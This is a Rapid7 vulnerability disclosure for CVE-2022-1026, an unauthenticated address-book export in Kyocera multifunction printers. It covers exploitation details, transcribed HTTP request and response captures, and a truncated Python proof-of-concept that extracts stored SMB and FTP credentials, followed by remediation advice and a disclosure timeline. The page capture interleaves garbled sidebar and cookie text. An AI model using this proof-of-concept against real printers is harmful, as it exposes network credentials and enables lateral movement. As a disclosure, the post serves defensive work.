

SUPPORT & RESOURCES

COMPANY

RESEARCH (/RESEARCH/) <u>EN</u>

SIGN IN TRY NOW (HTTPS://INSIGHT.RAPID7



CVE-2022-1026: Kyocera Net View Address Book Exposure

Mar 29, 2022 | 7 min read |

Tod Beardsley (/blog/author/tod-beardsley/)

Last updated at Tue, 29 Mar 2022 20:35:32 GMT

Rapid7 researcher Aaron Herndon
has discovered that several models of
Kyocera multifunction printers
running vulnerable versions of Net
View unintentionally expose sensitive
user information, including
usernames and passwords, through
an insufficiently protected address
book export function. This

vulnerability is an instance of CWE-

We use cookies on our site to enhance site navigation, analyze site usage, and assist in our marketing efforts. Privacy Policy (https://www.rapid7.com/privacy-policy/tracking-technologies/)

Topics

Metasploit

(797)

(/blog/tag/metasploit/)

Vulnerability

Management

<u>(415)</u>

(/blog/tag/vulnerabilitymanagement/)

Detection and

Response (386)

(/blog/tag/detection-

and-response/)

Research (277)

(/blog/tag/research/)

<u>Application</u>

Security (156)

(/blog/tag/application-

security/)

Cloud Security

(103)

(/blog/tag/cloud-

security/)

Cookies Settings
Popular Tates Us

Insufficiently Protected Credentials, and has an estimated base CVSS 3.1

score of 8.6 (https://nvd.nist.gov/vuln-metrics/cvss/v3-

calculator?

vector=AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N&version=3.1),

given that the credentials exposed are used to authenticate to other endpoints, such as external FTP and SMB servers.

Product description

Net Viewer

Many Kyocera multifunction printers (MFPs) can be administered using

(https://www.kyoceradocumentsolutions.us/en/products/software/KYOCERANETVIEWER.html).

Two such supported and tested models of MFPs are the ECOSYS M2640idw

(https://www.kyoceradocumentsolutions.us/en/products/mfp/ECOSYSM2640IDW.html)

and the TASKalfa 406ci

(https://www.kyoceradocumentsolutions.com/hk/en/products/mfp/taskalfa-tas

406ci/). These printers can be routinely found in both home office and enterprise environments around the

world.

Q Search Ta

Metasploit
(/blog/tag/metasploit/)

<u>Logentries</u> (/blog/tag/logentries/)

IT Ops (/blog/tag/itops/)

Vulnerability
Management
(/blog/tag/vulnerabilitymanagement/)

<u>Detection and</u>
<u>Response</u>
(/blog/tag/detection-and-response/)

Metasploit Weekly
Wrapup
(/blog/tag/metasploit-weekly-wrapup/)

Research (/blog/tag/research/)

Automation and Orchestration (/blog/tag/automation-and-orchestration/)

Cookies Settings

Contact Us

We use cookies on our site to enhance site navigation, analyze site usage, and assist in our marketing enterprise of the Control of the Contr

This issue, CVE-2022-1026, was discovered by security researcher

Aaron Herndon (https://twitter.com/ac3lives) of

Rapid7. It is being disclosed in accordance with Rapid7's vulnerability disclosure policy (https://www.rapid7.com/disclosure/).

Exploitation

Kyocera exposes a SOAP API on port

9091/TCP used for remote printer management via the Net Viewer thick client application. While the API supports authentication, and the thick client performs this authentication, while capturing the SOAP requests, it was observed that the specific request to extract an address book, `POST /ws/kmwsdl/setting/address_book` does not require an authenticated session to submit. Those address books, in turn, contain stored email addresses. usernames, and passwords, which are normally used to store scanned

Nexpose
(/blog/tag/nexpose/)

Incident Detection
(/blog/tag/incident-detection/)

InsightIDR (/blog/tag/insightidr/)

<u>Exploits</u> (/blog/tag/exploits/)

Incident Response (/blog/tag/incidentresponse/)

Komand (/blog/tag/komand/)

<u>Penetration Testing</u>
(/blog/tag/penetration-testing/)

Related Posts

READ

MORE

(/BLOG/POST/2022/11

<u> 2022-</u>

<u>41622-</u>

AND-

Cookies Settings

documents on external services or

We use cookies on sheard to that so shear and assist in our marketing efforts. Privacy Policy (https://www.rapid7.com/privacy-policy/tracking-technologies/)

Exploitation details

In order to exploit the vulnerability, an attacker need only be on a network that can reach the MFP's listening SOAP service on port 9091/TCP. The screenshot below describes submitting an unauthenticated SOAP request to that service, `POST /ws/km-wsdl/setting/address_book` with the described XML.

```
Request

Protty Raw in Actions **

1 POST /ws/km-wsdl/setting/address_book HTTP/1.1

2 User-Agnit: Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; ..NET CLR 1.1.4322; InfoPath.1; .NE 3 Accept: en-us 4 Content-Type: application/soap+xml 5 Host: 192,168.1.81:5001

5 Host: 192,168.1.81:5001

6 Content-Length: 812

7 Expect: 100-continue 8 Connection: close 9 C
```

This instructs the printer to prepare an address book object to be downloaded containing all sensitive data configured in the address book. The printer will respond with an address book enumeration object number, which is '5' in this instance:

ad' xmlns:xenc=http://www.v3.org/2001/04/xmlencf* xmlns:ds=http://www.v3.org/2000/09/xmldsigf* xmlns:xese=http://docs.or tempuri_org/xedd_xed' xmlns:xese=http://tempuri_org/xes5_xed' mmlns:cp=http://www.x3.org/2000/09/xppireLude' xmlns:xmls xmlns:xmlord(xml) xmlns:xmls:xmln

Once that object number is received, an attacker can populate the

"<ns1:enumeration>" value with that
We use cookies on our site to enhance site navigation, analyze site usage, and
assist in our marketingenfiber in the Company (新文學) (新文學) (新文學) (新文學) (新文學)

<u>41800-</u>

CVE-2022- FIXED-

41622 and <u>F5-</u>

CVE-2022- BIG-

41800 <u>IP-</u>

(FIXED): F5 AND-

BIG-IP and ICONTROL-

iControl

REST

Vulnerabilities

and <u>AND-</u>

Exposures <u>EXPOSURES/)</u>

READ

MORE

(/BLOG/POST/2022/10

RESEARCH-

WERE-

STILL-

TERRIBLE-

New <u>AT-</u>

Research: PASSWORDS-

We're Still

MAKING-

Terrible at

Passwords:

<u>IT-</u>

Making it

EASY-

Easy for

FOR-

Attackers

<u>ATTACKERS/)</u>

READ

MORE

(/BLOG/POST/2022/10

AND-

Cookies Settings

wsa:Action
get_personal_address_list, using the
same POST endpoint, as shown
below.

This will return the printer address book with all configured email addresses, FTP credentials, and network SMB file share credentials stored for user scanning to network shares, in fairly readable XML:

```
Response

Posity Raw Render in Actions >

1 HTTP/1.1 100 Continue

2 3

3 HTTP/1.1 200 GX

4 Server: gSOAP/2.8

5 Content-Type: application/soap+xml;
charset_utf-8

6 Content-Length: 30429

7 Connection: close

8 9 <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope* xmlns:SOAP-ENC="http://schemas.
mgt="http://www.kyoceramita.com/ws/km-wsdl/setting/account_management* xmlns:kinaddrbook-inttp://www.hyoceramita.gram/ws/km-wsdl/setting/account_management* xmlns:kinaddrbook-inttp://www.hyoceraming=thtp://www.kyoceramita.com/ws/km-wsdl/sitting/account_management* xmlns:kinaddrbook-inttp://www.hyoceraming=thtp://www.kyoceramita.com/ws/km-wsdl/sitting/account_management* xmlns:kinaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-kmaddrbook-index-
```

Finally, credentials can be harvested from the provided login_password fields:

oook:email_information><kmaddrbook:address></kmaddrbook:address>< ><kmaddrbook:login_password >><kmaddrbook:fax_number><kmaddrbook:ecm>\text{\text{baddrbook:ecm}}

Exploit proof of concept

We use cookies on our site to enhance site navigation, analyze site usage, and assist in our marketing efforts. Privacy Policy (https://www.rapid7.com/privacy-policy/tracking-technologies/)

<u> ADM-</u>

FLEXIm and

<u>DENIAL-</u>

Citrix ADM Denial of

<u>OF-</u>

Service

SERVICE-

Vulnerability **VULNERABILITY/)**

<u>READ</u>

MORE

(/BLOG/POST/2022/09

Baxter <u>sigma-</u>

SIGMA SPECTRUM-

Spectrum INFUSION-

Infusion

PUMPS-

Pumps: Multiple

MULTIPLE-

Vulnerabilitie

(FIXED) <u>FIXED/)</u>

A proof-of-concept (PoC) Python exploit is shown below. Note the time.sleep(5) call, which allows the printer time to first generate the address book.

PoC Python code:

We use cookies on our site to enhance site navigation, analyze site usage, and assist in our marketing efforts. Privacy Policy (https://www.rapid7.com/privacy-policy/tracking-technologies/)

```
.....
Kyocera printer exploit
Extracts sensitive data stored in
    *email addresses
    *SMB file share credentials us
    *FTP credentials
Author: Aaron Herndon, @ac3lives (
Date: 11/12/2021
Tested versions:
    * ECOSYS M2640idw
    * TASKalfa 406ci
Usage:
python3 getKyoceraCreds.py printer
.....
import requests
import xmltodict
import warnings
import sys
import time
warnings.filterwarnings("ignore")
url = "https://{}:9091/ws/km-wsdl/
headers = {'content-type': 'applic
# Submit an unauthenticated reques
body = """<?xml version="1.0" encc
response = requests.post(url,data=
strResponse = response.content.ded
#print(strResponse)
parsed = xmltodict.parse(strRespor
# The SOAP request returns XML wit
getNumber = parsed['SOAP-ENV:Envel
```

We use cookies on our site to enhance site flavigation, and assist in our marketing efforts. Privacy Policy (https://www.rapid7.com/privacy-policy/tracking-technologies/)

Cookies Settings

```
print("Obtained address book objectime.sleep(5)
print("Submitting request to retri

response = requests.post(url,data=strResponse = response.content.dec#rint(strResponse)

parsed = xmltodict.parse(strResporprint(parsed['SOAP-ENV:Envelope'][
print("\n\nObtained address book.
```

Impact

The most likely attack scenario involving this vulnerability would be an attacker, who is already inside the LAN perimeter, leveraging their ability to communicate directly with affected printers to learn the usernames and passwords to stored SMB and FTP file servers. In the case of SMB credentials, those might then be leveraged to establish a presence in the target networks' Windows domain.

Depending on how those external

Services are administered, the
We use cookies on our site to enhance site navigation, analyze site usage, and
assist in our marketiantacker processes in our marketiantacker policy/tracking-technologies/)

prior (and future) print/scan jobs
originating from the targeted printer,
but the primary value of this
vulnerability is lateral movement
within the network. Note that printer
credentials are not themselves at risk
(except in the case of reused
passwords, of course), but
credentials to services the printer is
normally expected to store scanned
documents are exposed via this
vulnerability.

Remediation

First and foremost, MFPs should under no circumstance be able to be reached directly across the internet.

While this is true for most LAN-centric technologies, this is especially true for printers and scanners, which are popular targets for opportunistic attackers. These devices tend to only support weak authentication mechanisms, even in the best of cases, and are rarely kept up to date

with firmware updates to address

We use cookies on விட்டியிர் yni கெய்கே வெறுகையில் அத்த விழ்கள் பிறுவிற்கு விழ்க்க விழக்கள் விழ்க்க விழக்கள் விழக்கள்

networked printers, the opportunity for attack is limited only to insiders and attackers who have otherwise managed to already establish a local network presence.

At the time of this disclosure, there is no patch or updated firmware available for affected devices. The version information displayed on a vulnerable ECOSYS M2640idw

(https://www.kyoceradocumentsolutions.us/en/products/mfp/ECOSYSM2640IDW.html)

device is shown as below, and we believe the proper version number for this software is the middle version listed,

"2\$0_1000.005.0012\$5_2000.002.505."

Software Version	
System :	2S5_2000.002.505
Engine :	2S0_1000.005.001
Panel:	2S5_7000.002.503

In light of the lack of patching,

Kyocera customers are advised to

disable the SOAP interface running on
port 9091/TCP of affected MFPs.

Details on precisely how to disable

this service can be found in the

We use cookies on our site to enhance site navigation, analyze site usage, and assist in our marketing et the policy tracking-technologies/)

specific MFP model. If SOAP access is required over the network for normal operation, users should ensure that address books do not contain sensitive, unchanging passwords.

One possible configuration that would make this vulnerability moot would be to only allow public, anonymous FTP or SMB write access (but not read access) for scanned document storage, and another process to move those documents securely across the network to their final destination. The exposure of email addresses would remain, but this is of considerably less value to most attackers.

Disclosure timeline

- Nov 2021: Issue identified by Aaron Herndon of Rapid7
- Tue Nov 16, 2021: Contacted

Kyocera's primary support and other-

SUDDORT
We use cookies on our site to enhance site navigation, analyze site usage, and assist in our marketing efforts. Privacy Policy (https://www.rapid7.com/privacy-policy/tracking-technologies/)

- Received auto-reply from info@das.kyocera.com
 (mailto:info@das.kyocera.com)
- Fri Nov 19, 2021: Opened case number: CS211119002 with Kyocera support
- Mon Nov 22, 2021: Released details to the vendor
- Fri Jan 7, 2022: Opened JPCERT/CC case number JVNVU#96890480
 - Discovered a more reliable security-specific contact at Kyocera
- Wed Jan 19, 2022: Extended disclosure deadline to mid-March, 2022
- Jan-Mar 2022: Communication about workarounds and other mitigations
- Fri Mar 18, 2022: CVE-2022-1026
 reserved
- Tue Mar 29, 2022: Public disclosure (this document)

Additional reading:

We use cookies on our site to enhance site navigation, analyze site usage, and assist in our marketing efforts. Privacy-Policy (https://www.rapid7.com/privacy-policy/tracking-technologies/)

Analyzing the Attack Landscape:
 Rapid7's 2021 Vulnerability
 Intelligence Report
 (https://www.rapid7.com/blog/post/2022/03/28/analyzing-the-attack-landscape-rapid7s-annual-vulnerability-intelligence

Cloud Pentesting, Pt. 1: Breaking
 Down the Basics
 (https://www.rapid7.com/blog/post/2022/03/21/cloud-pentesting-pt-1-breaking-down-the-basics/)

report/)

- CVE-2021-4191: GitLab GraphQL API
 User Enumeration (FIXED)
 (https://www.rapid7.com/blog/post/2022/03/03/cve-2021-4191-gitlab-graphql-api-user-enumeration-fixed/)
- Dropping Files on a Domain
 Controller Using CVE-2021-43893
 (https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/)

NEVER MISS A BLOG

Get the latest stories, expertise,

and news about security today.

We use cookies on our site to enhance site navigation, analyze site usage, and assist in our marketing efforts. Privacy Policy (IRTPS://www.rapid7.com/privacy-policy/tracking-technologies/)

POST TAGS AUTHOR

Tod Beardsley

Vulnerability Disclosure (/blog/tag/vulnerability-pardalm/)

(/biog/tag/vuinerabilitybeardsley/)

disclosure/)
Research at

Rapid7,

Research contributing

(/blog/tag/research/author of several

Rapid7 research

SHARING IS CARING

papers, CVE Board

member, and

Metasploit collaborator.

https://keybase.io/todb

VIEW TOD'S
POSTS

Related Posts

We use cookies on our site to enhance site navigation, analyze site usage, and assist in our marketing efforts.

VULNERAB...

Privacy Policy (https://www.rapid7.com/privacy-Policy/tracking-technologies/)

RESEARCH

VULNERAB...

Cookies Settings
VULNER AB Contact Us

CVE-2022-	New	FLEXIm and	Baxter SIGMA
41622 and	Research:	Citrix ADM	<u>Spectrum</u>
CVE-2022-	We're Still	Denial of	<u>Infusion</u>
<u>41800</u>	Terrible at	<u>Service</u>	Pumps:

VIEW ALL POSTS

Search all the things

BACK TO TOP

_(/).

CUSTOMER SUPPORT

+1-866-390-8113 (Toll Free) (tel:1-866-390-8113)

SALES SUPPORT

+1-866-772-7437 (Toll Free) (tel:866-772-7437)

Need to report an Escalation or a Breach?

CLICK HERE (/services/incident-response-customer-escalation/)

SOLUTIONS

All Solutions (https://www.rapid7.com/solutions)

We use cookiesdostry/Sidetions/(anttess//www.igapidi/acoshy/scalideions/dindustry)
assist in our marketing efforts. Privacy Policy (https://www.rapid7.com/privacypolicy/tracking-tra

Cookies Settings

SUPPORT & RESOURCES

Product Support (https://www.rapid7.com/for-customers)

Resource Library (https://www.rapid7.com/resources)

Customer Stories (https://www.rapid7.com/about/customers)

Events & Webcasts (https://www.rapid7.com/about/events-webcasts)

<u>Training & Certification (https://www.rapid7.com/services/training-certification)</u>

IT & Security Fundamentals (https://www.rapid7.com/fundamentals)

<u>Vulnerability & Exploit Database (https://www.rapid7.com/db)</u>

ABOUT US

Company (https://www.rapid7.com/about/company)

<u>Diversity, Equity, and Inclusion (https://www.rapid7.com/about/diversity-equity-and-inclusion/)</u>

<u>Leadership (https://www.rapid7.com/about/leadership)</u>

News & Press Releases (https://www.rapid7.com/about/news)

Public Policy (https://www.rapid7.com/about/public-policy)

Open Source (https://www.rapid7.com/open-source/)

Investors (https://investors.rapid7.com/)

CONNECT WITH US

Contact (https://www.rapid7.com/contact)

Blog (https://blog.rapid7.com/)

Support Login (https://support.rapid7.com/)

Careers (https://www.rapid7.com/careers)

(https://www.liv/wettler/downwether/downwether/2000/18966946/apid7)/rapid7/)



n

(https://www.rapid7.com/about/rapid7-cybersecurity-

<u>partner-boston-bruins/)</u>

We use cookies on our site to enhance site navigation, analyze site usage, and assist in our marketing efforts. Privacy-Policy (https://www.rapid7.com/privacy-policy/tracking-technologies/)

© Rapid7 <u>Legal Terms (/legal/)</u> | <u>Privacy Policy (/privacy-policy/)</u> | <u>Export Notice (/export-notice/)</u> | <u>Trust (/trust/)</u>

We use cookies on our site to enhance site navigation, analyze site usage, and assist in our marketing efforts. Privacy Policy (https://www.rapid7.com/privacy-policy/tracking-technologies/)

Cookies Settings